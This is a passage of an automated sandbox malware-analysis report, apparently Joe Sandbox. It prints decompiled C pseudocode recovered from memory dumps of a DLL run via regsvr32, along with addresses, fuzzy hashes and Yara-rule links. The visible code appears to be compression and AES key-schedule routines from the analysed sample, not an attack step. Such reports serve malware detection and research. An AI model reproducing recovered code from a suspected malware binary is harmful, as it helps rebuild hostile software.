								_t267 =  *( *((intOrPtr*)(_t266 + 0x40)) + ( *(_t266 + 0x6c) &  *(_t266 + 0x34)) * 2) & 0x0000ffff;
								 *((short*)( *(_t266 + 0x44) +  *(_t266 + 0x48) * 2)) =  *(_t266 + 0x6c);
							}
							 *((intOrPtr*)(_t266 + 0x78)) =  *((intOrPtr*)(_t266 + 0x60));
							_t327 = 2;
							 *((intOrPtr*)(_t266 + 0x64)) =  *((intOrPtr*)(_t266 + 0x70));
							 *((intOrPtr*)(_t266 + 0x60)) = _t327;
							if(_t267 != 0 &&  *((intOrPtr*)(_t266 + 0x78)) <  *((intOrPtr*)(_t266 + 0x80)) &&  *(_t266 + 0x6c) - _t267 <=  *((intOrPtr*)(_t266 + 0x2c)) - 0x106) {
								_t235 = E1001C8F0(_t266, _t267);
								_pop(_t267);
								 *((intOrPtr*)(_t266 + 0x60)) = _t235;
								if(_t235 <= 5 && ( *((intOrPtr*)(_t266 + 0x88)) == 1 || _t235 == 3 &&  *(_t266 + 0x6c) -  *((intOrPtr*)(_t266 + 0x70)) > 0x1000)) {
									 *((intOrPtr*)(_t266 + 0x60)) = _t327;
								}
							}
							_t189 =  *((intOrPtr*)(_t266 + 0x78));
							if(_t189 < 3 ||  *((intOrPtr*)(_t266 + 0x60)) > _t189) {
								__eflags =  *(_t266 + 0x68);
								if( *(_t266 + 0x68) == 0) {
									 *(_t266 + 0x6c) =  *(_t266 + 0x6c) + 1;
									 *((intOrPtr*)(_t266 + 0x74)) =  *((intOrPtr*)(_t266 + 0x74)) - 1;
									 *(_t266 + 0x68) = 1;
									continue;
								}
								_t191 =  *((intOrPtr*)( *(_t266 + 0x6c) +  *((intOrPtr*)(_t266 + 0x38)) - 1));
								 *( *((intOrPtr*)(_t266 + 0x16a4)) +  *(_t266 + 0x16a0) * 2) = 0;
								_t267 =  *(_t266 + 0x1698);
								 *( *(_t266 + 0x1698) +  *(_t266 + 0x16a0)) = _t191;
								 *(_t266 + 0x16a0) =  *(_t266 + 0x16a0) + 1;
								 *((short*)(_t266 + 0x94 + (_t191 & 0x000000ff) * 4)) =  *((short*)(_t266 + 0x94 + (_t191 & 0x000000ff) * 4)) + 1;
								__eflags =  *(_t266 + 0x16a0) -  *((intOrPtr*)(_t266 + 0x169c)) - 1;
								if( *(_t266 + 0x16a0) ==  *((intOrPtr*)(_t266 + 0x169c)) - 1) {
									_t283 =  *(_t266 + 0x5c);
									__eflags = _t283;
									if(_t283 < 0) {
										_t198 = 0;
										__eflags = 0;
									} else {
										_t198 =  *((intOrPtr*)(_t266 + 0x38)) + _t283;
									}
									__eflags = 0;
									E10016660(_t266, _t283,  *(_t266 + 0x6c) - _t283, 0, _t198,  *(_t266 + 0x6c) - _t283);
									_pop(_t267);
									 *(_t266 + 0x5c) =  *(_t266 + 0x6c);
									E10013DB1( *_t266, __eflags);
								}
								 *(_t266 + 0x6c) =  *(_t266 + 0x6c) + 1;
								 *((intOrPtr*)(_t266 + 0x74)) =  *((intOrPtr*)(_t266 + 0x74)) - 1;
								__eflags =  *( *_t266 + 0x10);
								goto L36;
							} else {
								_t345 =  *(_t266 + 0x6c) +  *((intOrPtr*)(_t266 + 0x74)) - 3;
								_t206 =  *((intOrPtr*)(_t266 + 0x78)) - 3;
								_t289 =  *(_t266 + 0x6c) -  *((intOrPtr*)(_t266 + 0x64)) - 0x00000001 & 0x0000ffff;
								 *( *((intOrPtr*)(_t266 + 0x16a4)) +  *(_t266 + 0x16a0) * 2) = _t289;
								 *( *(_t266 + 0x1698) +  *(_t266 + 0x16a0)) = _t206;
								 *(_t266 + 0x16a0) =  *(_t266 + 0x16a0) + 1;
								_t290 = _t289 + 0xffff;
								 *((short*)(_t266 + 0x498 + ( *((_t206 & 0x000000ff) + 0x100220d8) & 0x000000ff) * 4)) =  *((short*)(_t266 + 0x498 + ( *((_t206 & 0x000000ff) + 0x100220d8) & 0x000000ff) * 4)) + 1;
								_t211 = _t290 & 0x0000ffff;
								if(_t290 >= 0x100) {
									_t212 = _t211 >> 7;
									__eflags = _t212;
									_t67 = _t212 + 0x10021fd8; // 0x3020100
									_t213 =  *_t67 & 0x000000ff;
								} else {
									_t66 = _t211 + 0x10021ed8; // 0x11100000
									_t213 =  *_t66 & 0x000000ff;
								}
								 *((short*)(_t266 + 0x988 + _t213 * 4)) =  *((short*)(_t266 + 0x988 + _t213 * 4)) + 1;
								_t217 =  *((intOrPtr*)(_t266 + 0x78));
								_a4 = 0 |  *(_t266 + 0x16a0) ==  *((intOrPtr*)(_t266 + 0x169c)) - 0x00000001;
								_t267 = 1 - _t217;
								 *((intOrPtr*)(_t266 + 0x74)) =  *((intOrPtr*)(_t266 + 0x74)) + 1;
								 *((intOrPtr*)(_t266 + 0x78)) = _t217 + 0xfffffffe;
								do {
									 *(_t266 + 0x6c) =  *(_t266 + 0x6c) + 1;
									_t319 =  *(_t266 + 0x6c);
									if(_t319 <= _t345) {
										_t222 = ( *(_t266 + 0x48) <<  *(_t266 + 0x58) ^  *( *((intOrPtr*)(_t266 + 0x38)) + _t319 + 2) & 0x000000ff) &  *(_t266 + 0x54);
										 *(_t266 + 0x48) = _t222;
										 *((short*)( *((intOrPtr*)(_t266 + 0x40)) + ( *(_t266 + 0x34) & _t319) * 2)) =  *((intOrPtr*)( *(_t266 + 0x44) + _t222 * 2));
										_t267 =  *(_t266 + 0x44);
										 *((short*)( *(_t266 + 0x44) +  *(_t266 + 0x48) * 2)) =  *(_t266 + 0x6c);
									}
									_t102 = _t266 + 0x78;
									 *_t102 =  *((intOrPtr*)(_t266 + 0x78)) - 1;
								} while ( *_t102 != 0);
								break;
							}
						}
						 *(_t266 + 0x68) =  *(_t266 + 0x68) & 0x00000000;
						 *(_t266 + 0x6c) =  *(_t266 + 0x6c) + 1;
						_t225 =  *(_t266 + 0x6c);
						 *((intOrPtr*)(_t266 + 0x60)) = 2;
					} while (_a4 == 0);
					_t322 =  *(_t266 + 0x5c);
					_t373 = _t322;
					if(_t322 < 0) {
						_t299 = 0;
						__eflags = 0;
					} else {
						_t299 =  *((intOrPtr*)(_t266 + 0x38)) + _t322;
					}
					E10016660(_t266, _t299, _t322, 0, _t299, _t225 - _t322);
					_pop(_t267);
					 *(_t266 + 0x5c) =  *(_t266 + 0x6c);
					E10013DB1( *_t266, _t373);
					_t374 =  *( *_t266 + 0x10);
					L36:
				} while (_t374 != 0);
				L37:
				return 0;
			}

0x10014cbf
0x10014cc3
0x10014cc3
0x10014cc8
0x10014cc8
0x10014cc8
0x10014cc8
0x10014cc8
0x10014cd2
0x00000000
0x00000000
0x10014cd6
0x10014cdb
0x10014ce0
0x10014cee
0x10014fac
0x10014fb0
0x10014fb8
0x10014fca
0x10014fdd
0x10014fe0
0x10014fed
0x10014ff0
0x10014ff0
0x10014ff0
0x10014ff0
0x10014ff3
0x10014ff8
0x10014ff9
0x10014ffb
0x10014ffd
0x10014ffd
0x10014fff
0x10015003
0x10015009
0x1001504a
0x10015051
0x1001508a
0x00000000
0x1001508c
0x10015053
0x10015056
0x10015058
0x10015061
0x10015061
0x1001505a
0x1001505d
0x1001505d
0x1001506b
0x10015077
0x1001507a
0x1001507f
0x10015081
0x10015084
0x00000000
0x00000000
0x00000000
0x00000000
0x1001500b
0x1001500b
0x1001500e
0x10015010
0x10015019
0x10015019
0x10015012
0x10015015
0x10015015
0x10015024
0x10015030
0x10015033
0x1001503c
0x10015042
0x00000000
0x10015042
0x10015009
0x00000000
0x00000000
0x00000000
0x10014cf4
0x10014cf4
0x10014cf9
0x10014d01
0x10014d13
0x10014d19
0x10014d25
0x10014d32
0x10014d40
0x10014d40
0x10014d49
0x10014d4f
0x10014d50
0x10014d53
0x10014d58
0x10014d75
0x10014d7b
0x10014d7c
0x10014d82
0x10014d9f
0x10014d9f
0x10014d82
0x10014da2
0x10014da8
0x10014efb
0x10014eff
0x10014f9a
0x10014f9d
0x10014fa0
0x00000000
0x10014fa0
0x10014f0b
0x10014f1d
0x10014f27
0x10014f2d
0x10014f30
0x10014f40
0x10014f4a
0x10014f50
0x10014f52
0x10014f55
0x10014f57
0x10014f60
0x10014f60
0x10014f59
0x10014f5c
0x10014f5c
0x10014f69
0x10014f6d
0x10014f78
0x10014f79
0x10014f7c
0x10014f7c
0x10014f81
0x10014f86
0x10014f89
0x00000000
0x10014db7
0x10014dc9
0x10014dd8
0x10014ddc
0x10014ddf
0x10014def
0x10014df2
0x10014e09
0x10014e0f
0x10014e1a
0x10014e1d
0x10014e28
0x10014e28
0x10014e2b
0x10014e2b
0x10014e1f
0x10014e1f
0x10014e1f
0x10014e1f
0x10014e39
0x10014e4b
0x10014e51
0x10014e57
0x10014e59
0x10014e5f
0x10014e62
0x10014e62
0x10014e65
0x10014e6a
0x10014e81
0x10014e87
0x10014e93
0x10014e9a
0x10014ea1
0x10014ea1
0x10014ea5
0x10014ea5
0x10014ea5
0x00000000
0x10014e62
0x10014da8
0x10014eaa
0x10014eae
0x10014eb5
0x10014eb8
0x10014eb8
0x10014ec5
0x10014ec8
0x10014eca
0x10014ed3
0x10014ed3
0x10014ecc
0x10014ecf
0x10014ecf
0x10014edd
0x10014ee8
0x10014ee9
0x10014eec
0x10014ef3
0x10014f8d
0x10014f8d
0x10014f93
0x00000000

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 27aeeed556bb65e3636002fd0cb94df572611c7de2ef6259319bea3abb7565ba
Instruction ID: 4b98e8506759dbf4d8ae23e380e65caf1c390bf7fdfd330b5c77dfc7b01a9011
Opcode Fuzzy Hash: 27aeeed556bb65e3636002fd0cb94df572611c7de2ef6259319bea3abb7565ba
Instruction Fuzzy Hash: CCD12736600251CFDF48DF29C4C0AA577A5FF89355B5A41AAEC058F36BDB35E882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010D4AB1, Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 668c8b863475039f9808dd6e52768d62c754cd89c6d99bbdb67c5fc5cc8ace6a
Instruction ID: 3c50bf4c37a9034318cdfa30d7fd2613529d897387cf384b48dda1f0f79e644f
Opcode Fuzzy Hash: 668c8b863475039f9808dd6e52768d62c754cd89c6d99bbdb67c5fc5cc8ace6a
Instruction Fuzzy Hash: 42D13672804609DFEF01DFA0C88ABEEBBF1FF48716F09456AD885AA015D7785124CF69

Uniqueness

Uniqueness Score: -1.00%

Function 100149C5, Relevance: .3, Instructions: 253
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E100149C5(void* __ecx, intOrPtr* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				signed int _t146;
				signed char _t148;
				signed int _t153;
				signed char _t162;
				unsigned int _t167;
				unsigned int _t168;
				signed int _t169;
				signed int _t173;
				signed int _t174;
				signed int _t182;
				signed int _t188;
				signed int _t192;
				signed int _t195;
				intOrPtr _t203;
				intOrPtr* _t211;
				signed int _t220;
				signed short _t221;
				signed int _t224;
				signed int _t236;
				signed int _t237;
				signed int _t241;
				signed int _t247;
				signed char* _t256;
				signed int _t257;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed int _t283;

				_t211 = _a4;
				goto L1;
				do {
					do {
						L1:
						_t146 =  *(_t211 + 0x74);
						if(_t146 >= 0x106) {
							L5:
							if(_t146 >= 3) {
								_t257 =  *(_t211 + 0x6c);
								_t188 = ( *(_t211 + 0x48) <<  *(_t211 + 0x58) ^  *( *((intOrPtr*)(_t211 + 0x38)) + _t257 + 2) & 0x000000ff) &  *(_t211 + 0x54);
								 *(_t211 + 0x48) = _t188;
								 *((short*)( *((intOrPtr*)(_t211 + 0x40)) + ( *(_t211 + 0x34) & _t257) * 2)) =  *((intOrPtr*)( *(_t211 + 0x44) + _t188 * 2));
								_t192 =  *( *((intOrPtr*)(_t211 + 0x40)) + ( *(_t211 + 0x6c) &  *(_t211 + 0x34)) * 2) & 0x0000ffff;
								 *((short*)( *(_t211 + 0x44) +  *(_t211 + 0x48) * 2)) =  *(_t211 + 0x6c);
								if(_t192 != 0 &&  *(_t211 + 0x6c) - _t192 <=  *((intOrPtr*)(_t211 + 0x2c)) - 0x106) {
									 *(_t211 + 0x60) = E1001C8F0(_t211, _t192);
								}
							}
							if( *(_t211 + 0x60) < 3) {
								_t148 =  *( *(_t211 + 0x6c) +  *((intOrPtr*)(_t211 + 0x38)));
								 *( *((intOrPtr*)(_t211 + 0x16a4)) +  *(_t211 + 0x16a0) * 2) = 0;
								 *( *((intOrPtr*)(_t211 + 0x1698)) +  *(_t211 + 0x16a0)) = _t148;
								 *(_t211 + 0x16a0) =  *(_t211 + 0x16a0) + 1;
								 *((short*)(_t211 + 0x94 + (_t148 & 0x000000ff) * 4)) =  *((short*)(_t211 + 0x94 + (_t148 & 0x000000ff) * 4)) + 1;
								__eflags =  *(_t211 + 0x16a0) -  *((intOrPtr*)(_t211 + 0x169c)) - 1;
								_t217 = 0 |  *(_t211 + 0x16a0) ==  *((intOrPtr*)(_t211 + 0x169c)) - 0x00000001;
								_t119 = _t211 + 0x74;
								 *_t119 =  *(_t211 + 0x74) - 1;
								__eflags =  *_t119;
								_t283 =  *(_t211 + 0x16a0) ==  *((intOrPtr*)(_t211 + 0x169c)) - 1;
								goto L20;
							} else {
								_t162 =  *(_t211 + 0x60) - 3;
								_t220 =  *(_t211 + 0x6c) -  *((intOrPtr*)(_t211 + 0x70)) & 0x0000ffff;
								 *( *((intOrPtr*)(_t211 + 0x16a4)) +  *(_t211 + 0x16a0) * 2) = _t220;
								 *( *((intOrPtr*)(_t211 + 0x1698)) +  *(_t211 + 0x16a0)) = _t162;
								 *(_t211 + 0x16a0) =  *(_t211 + 0x16a0) + 1;
								_t221 = _t220 + 0xffff;
								 *((short*)(_t211 + 0x498 + ( *((_t162 & 0x000000ff) + 0x100220d8) & 0x000000ff) * 4)) =  *((short*)(_t211 + 0x498 + ( *((_t162 & 0x000000ff) + 0x100220d8) & 0x000000ff) * 4)) + 1;
								_t167 = _t221 & 0x0000ffff;
								if(_t221 >= 0x100) {
									_t168 = _t167 >> 7;
									__eflags = _t168;
									_t51 = _t168 + 0x10021fd8; // 0x3020100
									_t169 =  *_t51 & 0x000000ff;
								} else {
									_t50 = _t167 + 0x10021ed8; // 0x11100000
									_t169 =  *_t50 & 0x000000ff;
								}
								 *((short*)(_t211 + 0x988 + _t169 * 4)) =  *((short*)(_t211 + 0x988 + _t169 * 4)) + 1;
								_t173 =  *(_t211 + 0x60);
								 *(_t211 + 0x74) =  *(_t211 + 0x74) - _t173;
								_t283 = 0 |  *(_t211 + 0x16a0) ==  *((intOrPtr*)(_t211 + 0x169c)) - 0x00000001;
								_t224 =  *(_t211 + 0x74);
								if(_t173 >  *((intOrPtr*)(_t211 + 0x80)) || _t224 < 3) {
									 *(_t211 + 0x6c) =  *(_t211 + 0x6c) + _t173;
									_t256 =  *(_t211 + 0x6c) +  *((intOrPtr*)(_t211 + 0x38));
									 *(_t211 + 0x60) =  *(_t211 + 0x60) & 0x00000000;
									_t174 =  *_t256 & 0x000000ff;
									 *(_t211 + 0x48) = _t174;
									_t217 = _t256[1] & 0x000000ff;
									 *(_t211 + 0x48) = (_t174 <<  *(_t211 + 0x58) ^ _t256[1] & 0x000000ff) &  *(_t211 + 0x54);
								} else {
									 *(_t211 + 0x60) = _t173 - 1;
									do {
										 *(_t211 + 0x6c) =  *(_t211 + 0x6c) + 1;
										_t266 =  *(_t211 + 0x6c);
										_t182 = ( *(_t266 +  *((intOrPtr*)(_t211 + 0x38)) + 2) & 0x000000ff ^  *(_t211 + 0x48) <<  *(_t211 + 0x58)) &  *(_t211 + 0x54);
										 *(_t211 + 0x48) = _t182;
										 *((short*)( *((intOrPtr*)(_t211 + 0x40)) + ( *(_t211 + 0x34) & _t266) * 2)) =  *((intOrPtr*)( *(_t211 + 0x44) + _t182 * 2));
										_t217 =  *(_t211 + 0x44);
										 *((short*)( *(_t211 + 0x44) +  *(_t211 + 0x48) * 2)) =  *(_t211 + 0x6c);
										_t87 = _t211 + 0x60;
										 *_t87 =  *(_t211 + 0x60) - 1;
									} while ( *_t87 != 0);
									L20:
									 *(_t211 + 0x6c) =  *(_t211 + 0x6c) + 1;
								}
								goto L21;
							}
						}
						E10014686(_t217, _t211);
						_t146 =  *(_t211 + 0x74);
						if(_t146 >= 0x106 || _a8 != 0) {
							if(_t146 == 0) {
								_t195 =  *(_t211 + 0x6c);
								_t236 = 2;
								__eflags = _t195 - _t236;
								if(_t195 < _t236) {
									_t236 = _t195;
								}
								__eflags = _a8 - 4;
								 *(_t211 + 0x16b4) = _t236;
								if(_a8 != 4) {
									__eflags =  *(_t211 + 0x16a0);
									if( *(_t211 + 0x16a0) == 0) {
										L40:
										return 1;
									}
									_t262 =  *(_t211 + 0x5c);
									__eflags = _t262;
									if(_t262 < 0) {
										_t237 = 0;
										__eflags = 0;
									} else {
										_t237 =  *((intOrPtr*)(_t211 + 0x38)) + _t262;
									}
									E10016660(_t211, _t237, _t262, 0, _t237, _t195 - _t262);
									 *(_t211 + 0x5c) =  *(_t211 + 0x6c);
									E10013DB1( *_t211, __eflags);
									_t203 =  *_t211;
									__eflags =  *(_t203 + 0x10);
									if( *(_t203 + 0x10) == 0) {
										goto L26;
									} else {
										goto L40;
									}
								} else {
									_t263 =  *(_t211 + 0x5c);
									__eflags = _t263;
									if(_t263 < 0) {
										_t241 = 0;
										__eflags = 0;
									} else {
										_t241 =  *((intOrPtr*)(_t211 + 0x38)) + _t263;
									}
									E10016660(_t211, _t241, _t263, 1, _t241, _t195 - _t263);
									 *(_t211 + 0x5c) =  *(_t211 + 0x6c);
									E10013DB1( *_t211, __eflags);
									__eflags =  *( *_t211 + 0x10);
									_t139 = (0 |  *( *_t211 + 0x10) != 0x00000000) + 2; // 0x2
									return _t139;
								}
							}
							goto L5;
						} else {
							goto L26;
						}
						L21:
					} while (_t283 == 0);
					_t247 =  *(_t211 + 0x5c);
					_t305 = _t247;
					if(_t247 < 0) {
						_t153 = 0;
						__eflags = 0;
					} else {
						_t153 =  *((intOrPtr*)(_t211 + 0x38)) + _t247;
					}
					E10016660(_t211, _t247,  *(_t211 + 0x6c) - _t247, 0, _t153,  *(_t211 + 0x6c) - _t247);
					_pop(_t217);
					 *(_t211 + 0x5c) =  *(_t211 + 0x6c);
					E10013DB1( *_t211, _t305);
				} while ( *( *_t211 + 0x10) != 0);
				L26:
				return 0;
			}

0x100149c9
0x100149c9
0x100149ce
0x100149ce
0x100149ce
0x100149ce
0x100149d8
0x100149fa
0x100149fd
0x10014a05
0x10014a17
0x10014a1d
0x10014a29
0x10014a36
0x10014a44
0x10014a4a
0x10014a63
0x10014a63
0x10014a4a
0x10014a6a
0x10014b89
0x10014b9a
0x10014baa
0x10014bad
0x10014bbd
0x10014bc9
0x10014bcf
0x10014bd2
0x10014bd2
0x10014bd2
0x10014bd5
0x00000000
0x10014a70
0x10014a87
0x10014a89
0x10014a8c
0x10014a9c
0x10014a9f
0x10014ab6
0x10014abc
0x10014ac7
0x10014aca
0x10014ad5
0x10014ad5
0x10014ad8
0x10014ad8
0x10014acc
0x10014acc
0x10014acc
0x10014acc
0x10014ae6
0x10014af8
0x10014afe
0x10014b01
0x10014b03
0x10014b0c
0x10014b5d
0x10014b63
0x10014b66
0x10014b6a
0x10014b70
0x10014b75
0x10014b7e
0x10014b13
0x10014b14
0x10014b17
0x10014b17
0x10014b1a
0x10014b32
0x10014b38
0x10014b44
0x10014b4b
0x10014b52
0x10014b56
0x10014b56
0x10014b56
0x10014bd7
0x10014bd7
0x10014bd7
0x00000000
0x10014b0c
0x10014a6a
0x100149dc
0x100149e1
0x100149e6
0x100149f4
0x10014c23
0x10014c28
0x10014c29
0x10014c2b
0x10014c2d
0x10014c2d
0x10014c2f
0x10014c33
0x10014c39
0x10014c77
0x10014c7e
0x10014cb7
0x00000000
0x10014cb9
0x10014c80
0x10014c83
0x10014c85
0x10014c8e
0x10014c8e
0x10014c87
0x10014c8a
0x10014c8a
0x10014c98
0x10014ca4
0x10014ca7
0x10014cac
0x10014cae
0x10014cb1
0x00000000
0x00000000
0x00000000
0x00000000
0x10014c3b
0x10014c3b
0x10014c3e
0x10014c40
0x10014c49
0x10014c49
0x10014c42
0x10014c45
0x10014c45
0x10014c54
0x10014c60
0x10014c63
0x10014c6c
0x10014c72
0x00000000
0x10014c72
0x10014c39
0x00000000
0x00000000
0x00000000
0x00000000
0x10014bda
0x10014bda
0x10014be2
0x10014be5
0x10014be7
0x10014bf0
0x10014bf0
0x10014be9
0x10014bec
0x10014bec
0x10014bfd
0x10014c08
0x10014c09
0x10014c0c
0x10014c13
0x10014c1c
0x00000000

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 387a782fe1cfe89fe04114c8978a38e932ec2ed5b4414c03aa21be411bac7114
Instruction ID: 521ce104ddf1cf727bd410e5b2dbcae53c4ba7d1e81d848fe0c50f05dd869214
Opcode Fuzzy Hash: 387a782fe1cfe89fe04114c8978a38e932ec2ed5b4414c03aa21be411bac7114
Instruction Fuzzy Hash: 40A149366042508FCB58DF28C8D0AA577A5FF89354B5A41EADC46CF36BDB35E881CB90

Uniqueness

Uniqueness Score: -1.00%

Function 100115FD, Relevance: .2, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E100115FD(void* __eflags, signed int* _a4, intOrPtr _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int* _v20;
				signed int _v24;
				signed int _t211;

				_v16 = E100110C0(_t211, _a4, _a8, _a12);
				if(_v16 >= 0) {
					_v20 = _a12;
					_v8 = _v8 & 0x00000000;
					_v24 =  *(_a12 + 0xf0) << 2;
					while(_v8 < _v24) {
						_v12 = _v20[_v8];
						_v20[_v8] = _v20[_v24];
						_v20[_v24] = _v12;
						_v12 =  *((intOrPtr*)(_v20 + 4 + _v8 * 4));
						 *((intOrPtr*)(_v20 + 4 + _v8 * 4)) =  *((intOrPtr*)(_v20 + 4 + _v24 * 4));
						 *((intOrPtr*)(_v20 + 4 + _v24 * 4)) = _v12;
						_v12 =  *((intOrPtr*)(_v20 + 8 + _v8 * 4));
						 *((intOrPtr*)(_v20 + 8 + _v8 * 4)) =  *((intOrPtr*)(_v20 + 8 + _v24 * 4));
						 *((intOrPtr*)(_v20 + 8 + _v24 * 4)) = _v12;
						_v12 =  *(_v20 + 0xc + _v8 * 4);
						 *(_v20 + 0xc + _v8 * 4) =  *(_v20 + 0xc + _v24 * 4);
						 *(_v20 + 0xc + _v24 * 4) = _v12;
						_v8 = _v8 + 4;
						_v24 = _v24 - 4;
					}
					_v8 = 1;
					while(_v8 <  *(_a12 + 0xf0)) {
						_v20 =  &(_v20[4]);
						 *_v20 =  *(0x10025f78 + ( *(0x10025378 + ( *_v20 >> 0x18) * 4) & 0x000000ff) * 4) ^  *(0x10026378 + ( *(0x10025378 + ( *_v20 >> 0x00000010 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026778 + ( *(0x10025378 + ( *_v20 >> 0x00000008 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026b78 + ( *(0x10025378 + ( *_v20 & 0x000000ff) * 4) & 0x000000ff) * 4);
						_v20[1] =  *(0x10025f78 + ( *(0x10025378 + (_v20[1] >> 0x18) * 4) & 0x000000ff) * 4) ^  *(0x10026378 + ( *(0x10025378 + (_v20[1] >> 0x00000010 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026778 + ( *(0x10025378 + (_v20[1] >> 0x00000008 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026b78 + ( *(0x10025378 + (_v20[1] & 0x000000ff) * 4) & 0x000000ff) * 4);
						_v20[2] =  *(0x10025f78 + ( *(0x10025378 + (_v20[2] >> 0x18) * 4) & 0x000000ff) * 4) ^  *(0x10026378 + ( *(0x10025378 + (_v20[2] >> 0x00000010 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026778 + ( *(0x10025378 + (_v20[2] >> 0x00000008 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026b78 + ( *(0x10025378 + (_v20[2] & 0x000000ff) * 4) & 0x000000ff) * 4);
						_v20[3] =  *(0x10025f78 + ( *(0x10025378 + (_v20[3] >> 0x18) * 4) & 0x000000ff) * 4) ^  *(0x10026378 + ( *(0x10025378 + (_v20[3] >> 0x00000010 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026778 + ( *(0x10025378 + (_v20[3] >> 0x00000008 & 0x000000ff) * 4) & 0x000000ff) * 4) ^  *(0x10026b78 + ( *(0x10025378 + (_v20[3] & 0x000000ff) * 4) & 0x000000ff) * 4);
						_v8 = _v8 + 1;
					}
					return 0;
				}
				return _v16;
			}

0x10011615
0x1001161c
0x10011629
0x1001162c
0x1001163c
0x10011653
0x10011668
0x1001167a
0x10011686
0x10011693
0x100116a6
0x100116b3
0x100116c1
0x100116d4
0x100116e1
0x100116ef
0x10011702
0x1001170f
0x10011647
0x10011650
0x10011650
0x10011718
0x10011728
0x10011740
0x100117c4
0x1001184b
0x100118d3
0x1001195b
0x10011725
0x10011725
0x00000000
0x10011963
0x00000000

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781f1a14af480d493c35678cac449eac23eae96769e13ee7c9be9ef2c7d69a75
Instruction ID: 0beef2c8891d8502b5e7be17ce9c754fae4c1433ff70b13f5fa1b775722e007c
Opcode Fuzzy Hash: 781f1a14af480d493c35678cac449eac23eae96769e13ee7c9be9ef2c7d69a75
Instruction Fuzzy Hash: 43B1E7B4E10216CFEB18CF48C8A0ABDB7B1FF49341F25446CD512AB391C736AA52DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001E7D6, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bbf0a8a70845b126cbeb0811b664ddc5a4f9e58e8b88f216511ab8f33eb4bf9
Instruction ID: 1330d33cd16e7bda5c52f66169e0feee5cf32ee31d79cca5c831b16c50406cf6
Opcode Fuzzy Hash: 7bbf0a8a70845b126cbeb0811b664ddc5a4f9e58e8b88f216511ab8f33eb4bf9
Instruction Fuzzy Hash: F95196B3F085B007D769867E8C54155EED39EC604531EC2BAE4A8D734AE43BCA079B90

Uniqueness

Uniqueness Score: -1.00%

Function 010D11BE, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b5ecfd1bedb87333526ba6601126610fcd790ebe908d15f0a40538670f9436
Instruction ID: c6b76ba59f0c17c8f92217fd45e55c326e2472a84addc9402e8569e1e97070ac
Opcode Fuzzy Hash: 25b5ecfd1bedb87333526ba6601126610fcd790ebe908d15f0a40538670f9436
Instruction Fuzzy Hash: 75516D72E08615AFDB08DFA9D8817AEFBB2FF84320F15C56DD495E7280DA3865508B60

Uniqueness

Uniqueness Score: -1.00%

Function 010D1000, Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5b948028838e37151a6a395daf435b380c18c11738c13e8c37e0e0b79f3222
